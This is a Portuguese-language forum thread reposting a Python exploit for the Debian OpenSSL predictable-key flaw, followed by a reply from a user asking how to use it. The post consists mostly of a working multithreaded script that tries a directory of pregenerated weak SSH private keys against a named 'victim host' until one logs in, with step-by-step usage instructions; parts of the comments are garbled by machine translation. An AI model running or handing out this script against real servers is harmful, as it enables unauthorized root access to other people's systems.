Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

DEBIAN Bruteforce SSH Exploit (python)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Exploit DEBIAN Bruteforce SSH Exploit (python)

    DEBIAN OpenSSL Predictable PRNG Bruteforce SSH Exploit (python)



    #! / Bin / python
    # Este programa é software livre, você pode redistribuí-lo e / ou modificar
    # Sob os termos da GNU General Public License conforme publicada pela
    # A Free Software Foundation, tanto a versão 2 da Licença, ou
    # (Na sua opnião) qualquer versão posterior.
    #
    # Este programa é distribuído na esperança que será útil,
    # Mas SEM QUALQUER GARANTIA, sem mesmo a garantia implícita de
    # COMERCIALIZAÇÃO ou ADEQUAÇÃO PARA UM PROPÓSITO PARTICULAR. Veja o
    # Licença Pública Geral GNU para obter mais detalhes.
    #
    Você deve ter recebido uma cópia da GNU General Public License
    # # Junto com este programa, se não, escreva para a Free Software
    # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
    # MA 02110-1301, E.U.A..
    ################################################## ##########################
    # Explorado por - equipe WarCat (warcat.no-ip.org)
    # Colaborador: pretoriano
    #
    # 1. Download Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    # Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    #
    # 2. Extraí-lo para um diretório
    #
    # 3. Execute o script python
    # - Algo como: exploit.py python / home hitz / chaves raiz 192.168.1.240 22 5
    # - Execute: exploit.py python (sem parâmetros) para exibir a ajuda
    # - Se a chave for encontrada, o script mostra algo assim:
    # Encontrei a chave no arquivo: ba7a6b3be3dac7dcd359w20b4afd5143-1121
    # Execute: ssh-lroot-p22-i / home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
    ################################################## ##########################


    import Queue
    import os
    import string
    import time
    from threading import Thread
    import sys

    #This class only has a boolean, which will be True if some thread find the key
    class End():
    def __init__(self):
    self.end = False

    def Finish(self):
    self.end = True

    def GetEnd(self):
    return self.end


    #This is the thread class
    class Connection(Thread):
    def __init__(self,QueueDir,TheEnd,dir,host,user,port=' 22'):
    Thread.__init__(self)
    self.QueueDir = QueueDir
    self.TheEnd = TheEnd
    self.dir = dir
    self.host = host
    self.user = user
    self.port = port

    def run(self):
    while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):
    key = self.QueueDir.get()

    cmd = 'ssh -l ' + self.user
    cmd = cmd + ' -p ' + self.port
    cmd = cmd + ' -o PasswordAuthentication=no'
    cmd = cmd + ' -i ' + self.dir + '/' + key
    cmd = cmd + ' ' + self.host + ' exit; echo $?'

    pin,pout,perr = os.popen3(cmd, 'r')
    pin.close()

    #To debug descoment the next line. This will show the errors reported by ssh
    #print perr.read()

    if pout.read().lstrip().rstrip() == '0':
    self.TheEnd.Finish()
    print ''
    print 'Key Found in file: '+ key
    print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host)
    print ''

    print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org'

    if len(sys.argv) < 4:
    print './exploit.py <dir> <host> <user> [[port] [threads]]'
    print ' <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash'
    print ' <host>: The victim host'
    print ' <user>: The user of the victim host'
    print ' [port]: The SSH port of the victim host (default 22)'
    print ' [threads]: Number of threads (default 4) Too big numer is bad'

    sys.exit(1)

    dir = sys.argv[1]
    host = sys.argv[2]
    user = sys.argv[3]

    if len(sys.argv) <= 4:
    port='22'
    threads=4
    else:
    if len(sys.argv) <=5:
    port=sys.argv[4]
    threads = 4

    else:
    port=sys.argv[4]
    threads = sys.argv[5]

    ListDir = os.listdir(dir)
    QueueDir=Queue.Queue()
    TheEnd = End()

    for i in range(len(ListDir)):
    if ListDir[i].find('.pub') == -1:
    QueueDir.put(ListDir[i])

    initsize = QueueDir.qsize()
    tested = 0

    for i in range(0,int(threads)):
    Connection(QueueDir,TheEnd,dir,host,user,port).sta rt()


    while (not TheEnd.GetEnd()) and (not QueueDir.empty()):
    time.sleep(5)
    actsize = QueueDir.qsize()
    speed = (initsize - tested - actsize)/5
    tested = initsize - actsize

    print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed)

    # milw0rm.com

    Obs: Endentação não está perfeita !


    Referencia: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    sigpic




  • Font Size
    #2
    Alguém poderia ensinar como usar? eu não tenho nem idéia de como usar ='[

    e o que eu poderia obter com este code phython?

    Comment

    X
    Working...
    X